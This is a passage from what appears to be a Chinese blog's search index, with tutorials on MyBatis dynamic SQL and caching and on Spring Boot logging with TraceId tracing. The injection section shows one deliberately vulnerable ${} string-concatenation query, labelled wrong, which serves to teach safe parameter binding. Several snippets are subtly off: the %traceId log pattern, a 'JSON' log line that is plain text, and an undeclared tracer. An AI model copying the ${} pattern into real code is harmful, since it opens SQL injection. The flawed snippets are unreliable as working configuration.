class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>特点</strong>：自动移除多余的 <code>AND</code> 或 <code>OR</code></p><p>#</p><h2 id="3-lt-choose-gt-标签"><a href="#3-lt-choose-gt-标签" class="headerlink" title="3. &lt;choose&gt; 标签"></a>3. <code>&lt;choose&gt;</code> 标签</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;findUsers&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;User&quot;</span>&gt;</span></span><br><span class="line">    SELECT id, username, email</span><br><span class="line">    FROM users</span><br><span class="line">    <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">choose</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">when</span> <span class="attr">test</span>=<span class="string">&quot;id != null&quot;</span>&gt;</span></span><br><span class="line">                AND id = #&#123;id&#125;</span><br><span class="line">            <span class="tag">&lt;/<span class="name">when</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">when</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">                AND username LIKE CONCAT(&#x27;%&#x27;, #&#123;username&#125;, &#x27;%&#x27;)</span><br><span class="line">            <span class="tag">&lt;/<span class="name">when</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">otherwise</span>&gt;</span></span><br><span class="line">                AND status = 1</span><br><span class="line">            <span class="tag">&lt;/<span class="name">otherwise</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">choose</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="集合操作"><a href="#集合操作" class="headerlink" title="集合操作"></a>集合操作</h2><p>#</p><h2 id="4-lt-foreach-gt-标签"><a href="#4-lt-foreach-gt-标签" class="headerlink" title="4. &lt;foreach&gt; 标签"></a>4. <code>&lt;foreach&gt;</code> 标签</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;findUsersByIds&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;User&quot;</span>&gt;</span></span><br><span class="line">    SELECT id, username, email</span><br><span class="line">    FROM users</span><br><span class="line">    WHERE id IN</span><br><span class="line">    <span class="tag">&lt;<span class="name">foreach</span> <span class="attr">collection</span>=<span class="string">&quot;ids&quot;</span> <span class="attr">item</span>=<span class="string">&quot;id&quot;</span> <span class="attr">open</span>=<span class="string">&quot;(&quot;</span> <span class="attr">separator</span>=<span class="string">&quot;,&quot;</span> <span class="attr">close</span>=<span class="string">&quot;)&quot;</span>&gt;</span></span><br><span class="line">        #&#123;id&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">foreach</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>批量插入</strong>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">insert</span> <span class="attr">id</span>=<span class="string">&quot;batchInsert&quot;</span>&gt;</span></span><br><span class="line">    INSERT INTO users (username, email)</span><br><span class="line">    VALUES</span><br><span class="line">    <span class="tag">&lt;<span class="name">foreach</span> <span class="attr">collection</span>=<span class="string">&quot;list&quot;</span> <span class="attr">item</span>=<span class="string">&quot;item&quot;</span> <span class="attr">separator</span>=<span class="string">&quot;,&quot;</span>&gt;</span></span><br><span class="line">        (#&#123;item.username&#125;, #&#123;item.email&#125;)</span><br><span class="line">    <span class="tag">&lt;/<span class="name">foreach</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">insert</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="高级用法"><a href="#高级用法" class="headerlink" title="高级用法"></a>高级用法</h2><p>#</p><h2 id="5-lt-trim-gt-标签"><a href="#5-lt-trim-gt-标签" class="headerlink" title="5. &lt;trim&gt; 标签"></a>5. <code>&lt;trim&gt;</code> 标签</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;findUsers&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;User&quot;</span>&gt;</span></span><br><span class="line">    SELECT id, username, email</span><br><span class="line">    FROM users</span><br><span class="line">    <span class="tag">&lt;<span class="name">trim</span> <span class="attr">prefix</span>=<span class="string">&quot;WHERE&quot;</span> <span class="attr">prefixOverrides</span>=<span class="string">&quot;AND | OR&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null&quot;</span>&gt;</span>AND username = #&#123;username&#125;<span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;email != null&quot;</span>&gt;</span>AND email = #&#123;email&#125;<span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">trim</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-lt-set-gt-标签"><a href="#6-lt-set-gt-标签" class="headerlink" title="6. &lt;set&gt; 标签"></a>6. <code>&lt;set&gt;</code> 标签</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">update</span> <span class="attr">id</span>=<span class="string">&quot;updateUser&quot;</span>&gt;</span></span><br><span class="line">    UPDATE users</span><br><span class="line">    <span class="tag">&lt;<span class="name">set</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null&quot;</span>&gt;</span>username = #&#123;username&#125;,<span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;email != null&quot;</span>&gt;</span>email = #&#123;email&#125;,<span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;status != null&quot;</span>&gt;</span>status = #&#123;status&#125;,<span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">set</span>&gt;</span></span><br><span class="line">    WHERE id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">update</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>特点</strong>：自动移除多余的逗号</p><h2 id="实战案例"><a href="#实战案例" class="headerlink" title="实战案例"></a>实战案例</h2><p>#</p><h2 id="案例一：复杂查询条件"><a href="#案例一：复杂查询条件" class="headerlink" title="案例一：复杂查询条件"></a>案例一：复杂查询条件</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;findOrders&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;Order&quot;</span>&gt;</span></span><br><span class="line">    SELECT * FROM orders</span><br><span class="line">    <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;userId != null&quot;</span>&gt;</span></span><br><span class="line">            AND user_id = #&#123;userId&#125;</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;status != null&quot;</span>&gt;</span></span><br><span class="line">            AND status = #&#123;status&#125;</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;startTime != null&quot;</span>&gt;</span></span><br><span class="line">            AND created_at &gt;= #&#123;startTime&#125;</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;endTime != null&quot;</span>&gt;</span></span><br><span class="line">            AND created_at &lt; #&#123;endTime&#125;</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line">    ORDER BY created_at DESC</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="案例二：动态排序"><a href="#案例二：动态排序" class="headerlink" title="案例二：动态排序"></a>案例二：动态排序</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;findUsers&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;User&quot;</span>&gt;</span></span><br><span class="line">    SELECT * FROM users</span><br><span class="line">    <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;keyword != null&quot;</span>&gt;</span></span><br><span class="line">            AND username LIKE CONCAT(&#x27;%&#x27;, #&#123;keyword&#125;, &#x27;%&#x27;)</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line">    ORDER BY </span><br><span class="line">    <span class="tag">&lt;<span class="name">choose</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">when</span> <span class="attr">test</span>=<span class="string">&quot;sortBy == &#x27;username&#x27;&quot;</span>&gt;</span>username<span class="tag">&lt;/<span class="name">when</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">when</span> <span class="attr">test</span>=<span class="string">&quot;sortBy == &#x27;createdAt&#x27;&quot;</span>&gt;</span>created_at<span class="tag">&lt;/<span class="name">when</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">otherwise</span>&gt;</span>id<span class="tag">&lt;/<span class="name">otherwise</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">choose</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;sortOrder == &#x27;desc&#x27;&quot;</span>&gt;</span>DESC<span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;sortOrder != &#x27;desc&#x27;&quot;</span>&gt;</span>ASC<span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><p>#</p><h2 id="1-防止-SQL-注入"><a href="#1-防止-SQL-注入" class="headerlink" title="1. 防止 SQL 注入"></a>1. 防止 SQL 注入</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="comment">&lt;!-- ✅ 正确：使用 #&#123;&#125; --&gt;</span></span><br><span class="line">WHERE username = #&#123;username&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- ❌ 错误：使用 $&#123;&#125;，可能导致 SQL 注入 --&gt;</span></span><br><span class="line">WHERE username = &#x27;$&#123;username&#125;&#x27;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-处理空集合"><a href="#2-处理空集合" class="headerlink" title="2. 处理空集合"></a>2. 处理空集合</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 在 Service 层检查</span></span><br><span class="line"><span class="keyword">if</span> (CollectionUtils.isEmpty(ids)) &#123;</span><br><span class="line">    <span class="keyword">return</span> Collections.emptyList();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-SQL-日志调试"><a href="#3-SQL-日志调试" class="headerlink" title="3. SQL 日志调试"></a>3. SQL 日志调试</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">mybatis:</span></span><br><span class="line">  <span class="attr">configuration:</span></span><br><span class="line">    <span class="attr">log-impl:</span> <span class="string">org.apache.ibatis.logging.stdout.StdOutImpl</span></span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>动态 SQL 的关键技巧：</p><ol><li>使用 <code>&lt;where&gt;</code> 处理条件拼接</li><li>使用 <code>&lt;foreach&gt;</code> 处理集合操作</li><li>使用 <code>&lt;choose&gt;</code> 处理互斥条件</li><li>始终使用 <code>#{}</code> 防止 SQL 注入</li></ol><p>我在项目中大量使用动态 SQL，它确实能让查询变得更加灵活和优雅。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 一级缓存和二级缓存怎么理解</title>
      <link href="//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/"/>
      <url>//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-一级缓存和二级缓存怎么理解"><a href="#MyBatis-一级缓存和二级缓存怎么理解" class="headerlink" title="MyBatis 一级缓存和二级缓存怎么理解"></a>MyBatis 一级缓存和二级缓存怎么理解</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 日志配置与链路追踪：实战指南</title>
      <link href="//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/"/>
      <url>//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-日志配置与链路追踪：实战指南"><a href="#Spring-Boot-日志配置与链路追踪：实战指南" class="headerlink" title="Spring Boot 日志配置与链路追踪：实战指南"></a>Spring Boot 日志配置与链路追踪：实战指南</h1><p>日志是排查问题的重要手段。今天分享一下 Spring Boot 项目中日志配置和链路追踪的最佳实践。</p><h2 id="日志基础配置"><a href="#日志基础配置" class="headerlink" title="日志基础配置"></a>日志基础配置</h2><h3 id="配置文件"><a href="#配置文件" class="headerlink" title="配置文件"></a>配置文件</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">logging:</span></span><br><span class="line">  <span class="attr">level:</span></span><br><span class="line">    <span class="attr">root:</span> <span class="string">INFO</span></span><br><span class="line">    <span class="attr">com.example.app:</span> <span class="string">DEBUG</span></span><br><span class="line">    <span class="attr">org.springframework.web:</span> <span class="string">INFO</span></span><br><span class="line">    <span class="attr">com.zaxxer.hikari:</span> <span class="string">WARN</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">pattern:</span></span><br><span class="line">    <span class="attr">console:</span> <span class="string">&quot;%d&#123;yyyy-MM-dd HH:mm:ss.SSS&#125; [%thread] %-5level %logger&#123;36&#125; - %msg%n&quot;</span></span><br><span class="line">    <span class="attr">file:</span> <span class="string">&quot;%d&#123;yyyy-MM-dd HH:mm:ss.SSS&#125; [%thread] %-5level %logger&#123;36&#125; - %msg%n&quot;</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">file:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">logs/application.log</span></span><br><span class="line">    <span class="attr">path:</span> <span class="string">./logs</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">logback:</span></span><br><span class="line">    <span class="attr">rollingpolicy:</span></span><br><span class="line">      <span class="attr">max-file-size:</span> <span class="string">10MB</span></span><br><span class="line">      <span class="attr">max-history:</span> <span class="number">30</span></span><br><span class="line">      <span class="attr">total-size-cap:</span> <span class="string">1GB</span></span><br></pre></td></tr></table></figure><h3 id="日志级别说明"><a href="#日志级别说明" class="headerlink" title="日志级别说明"></a>日志级别说明</h3><table><thead><tr><th>级别</th><th>说明</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>TRACE</strong></td><td>最详细的日志</td><td>调试阶段</td></tr><tr><td><strong>DEBUG</strong></td><td>详细信息</td><td>开发调试</td></tr><tr><td><strong>INFO</strong></td><td>一般信息</td><td>生产环境默认</td></tr><tr><td><strong>WARN</strong></td><td>警告信息</td><td>需要关注的潜在问题</td></tr><tr><td><strong>ERROR</strong></td><td>错误信息</td><td>必须处理的问题</td></tr></tbody></table><h2 id="自定义日志"><a href="#自定义日志" class="headerlink" title="自定义日志"></a>自定义日志</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        log.debug(<span class="string">&quot;查询用户信息，id: &#123;&#125;&quot;</span>, id);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userRepository.findById(id).orElse(<span class="literal">null</span>);</span><br><span class="line">            <span class="keyword">if</span> (user == <span class="literal">null</span>) &#123;</span><br><span class="line">                log.warn(<span class="string">&quot;用户不存在，id: &#123;&#125;&quot;</span>, id);</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            log.info(<span class="string">&quot;查询用户成功，username: &#123;&#125;&quot;</span>, user.getUsername());</span><br><span class="line">            <span class="keyword">return</span> convertToDTO(user);</span><br><span class="line">            </span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            log.error(<span class="string">&quot;查询用户失败，id: &#123;&#125;&quot;</span>, id, e);</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">BusinessException</span>(<span class="string">&quot;查询用户失败&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="链路追踪"><a href="#链路追踪" class="headerlink" title="链路追踪"></a>链路追踪</h2><h3 id="添加依赖"><a href="#添加依赖" class="headerlink" title="添加依赖"></a>添加依赖</h3><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-web<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>io.opentelemetry<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>opentelemetry-api<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="配置-TraceId"><a href="#配置-TraceId" class="headerlink" title="配置 TraceId"></a>配置 TraceId</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TraceFilter</span> <span class="keyword">implements</span> <span class="title class_">Filter</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">TRACE_ID_HEADER</span> <span class="operator">=</span> <span class="string">&quot;X-Trace-Id&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest request, ServletResponse response, FilterChain chain)</span> </span><br><span class="line">        <span class="keyword">throws</span> IOException, ServletException &#123;</span><br><span class="line">        </span><br><span class="line">        <span class="type">HttpServletRequest</span> <span class="variable">httpRequest</span> <span class="operator">=</span> (HttpServletRequest) request;</span><br><span class="line">        <span class="type">String</span> <span class="variable">traceId</span> <span class="operator">=</span> httpRequest.getHeader(TRACE_ID_HEADER);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (traceId == <span class="literal">null</span>) &#123;</span><br><span class="line">            traceId = UUID.randomUUID().toString();</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> (<span class="type">Scope</span> <span class="variable">scope</span> <span class="operator">=</span> tracer.spanBuilder(<span class="string">&quot;HTTP Request&quot;</span>)</span><br><span class="line">            .setAttribute(<span class="string">&quot;traceId&quot;</span>, traceId)</span><br><span class="line">            .startSpan()</span><br><span class="line">            .makeCurrent()) &#123;</span><br><span class="line">            </span><br><span class="line">            MDC.put(<span class="string">&quot;traceId&quot;</span>, traceId);</span><br><span class="line">            chain.doFilter(request, response);</span><br><span class="line">            </span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            MDC.remove(<span class="string">&quot;traceId&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="更新日志格式"><a href="#更新日志格式" class="headerlink" title="更新日志格式"></a>更新日志格式</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">logging:</span></span><br><span class="line">  <span class="attr">pattern:</span></span><br><span class="line">    <span class="attr">console:</span> <span class="string">&quot;%d&#123;yyyy-MM-dd HH:mm:ss.SSS&#125; [%traceId] [%thread] %-5level %logger&#123;36&#125; - %msg%n&quot;</span></span><br></pre></td></tr></table></figure><h2 id="实战排查技巧"><a href="#实战排查技巧" class="headerlink" title="实战排查技巧"></a>实战排查技巧</h2><h3 id="1-按-TraceId-搜索"><a href="#1-按-TraceId-搜索" class="headerlink" title="1. 按 TraceId 搜索"></a>1. 按 TraceId 搜索</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 搜索特定 TraceId 的日志</span></span><br><span class="line">grep <span class="string">&quot;traceId=abc123&quot;</span> logs/application.log</span><br><span class="line"></span><br><span class="line"><span class="comment"># 按时间范围过滤</span></span><br><span class="line">sed -n <span class="string">&#x27;/2024-01-15 10:00:00/,/2024-01-15 11:00:00/p&#x27;</span> logs/application.log</span><br></pre></td></tr></table></figure><h3 id="2-分析慢请求"><a href="#2-分析慢请求" class="headerlink" title="2. 分析慢请求"></a>2. 分析慢请求</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查找执行时间超过1秒的请求</span></span><br><span class="line">grep -E <span class="string">&quot;executionTime=[1-9][0-9]&#123;3,&#125;&quot;</span> logs/application.log</span><br></pre></td></tr></table></figure><h3 id="3-错误日志统计"><a href="#3-错误日志统计" class="headerlink" title="3. 错误日志统计"></a>3. 错误日志统计</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 统计错误类型</span></span><br><span class="line">grep <span class="string">&quot;ERROR&quot;</span> logs/application.log | awk <span class="string">&#x27;&#123;print $NF&#125;&#x27;</span> | <span class="built_in">sort</span> | <span class="built_in">uniq</span> -c</span><br></pre></td></tr></table></figure><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><h3 id="1-生产环境日志级别"><a href="#1-生产环境日志级别" class="headerlink" title="1. 生产环境日志级别"></a>1. 生产环境日志级别</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">logging:</span></span><br><span class="line">  <span class="attr">level:</span></span><br><span class="line">    <span class="attr">root:</span> <span class="string">WARN</span></span><br><span class="line">    <span class="attr">com.example.app:</span> <span class="string">INFO</span>  <span class="comment"># 只保留关键业务日志</span></span><br><span class="line">    <span class="attr">org.springframework:</span> <span class="string">WARN</span></span><br></pre></td></tr></table></figure><h3 id="2-敏感信息脱敏"><a href="#2-敏感信息脱敏" class="headerlink" title="2. 敏感信息脱敏"></a>2. 敏感信息脱敏</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">log.info(<span class="string">&quot;用户登录，username: &#123;&#125;, phone: &#123;&#125;&quot;</span>, </span><br><span class="line">    mask(username), maskPhone(phone));</span><br></pre></td></tr></table></figure><h3 id="3-结构化日志输出"><a href="#3-结构化日志输出" class="headerlink" title="3. 结构化日志输出"></a>3. 结构化日志输出</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用 JSON 格式输出，便于日志分析</span></span><br><span class="line">log.info(<span class="string">&quot;用户下单成功，orderId: &#123;&#125;, amount: &#123;&#125;, userId: &#123;&#125;&quot;</span>, </span><br><span class="line">    orderId, amount, userId);</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>日志配置和链路追踪的关键是：</p><ol><li>根据环境设置合适的日志级别</li><li>在关键节点添加日志，便于排查</li><li>使用 TraceId 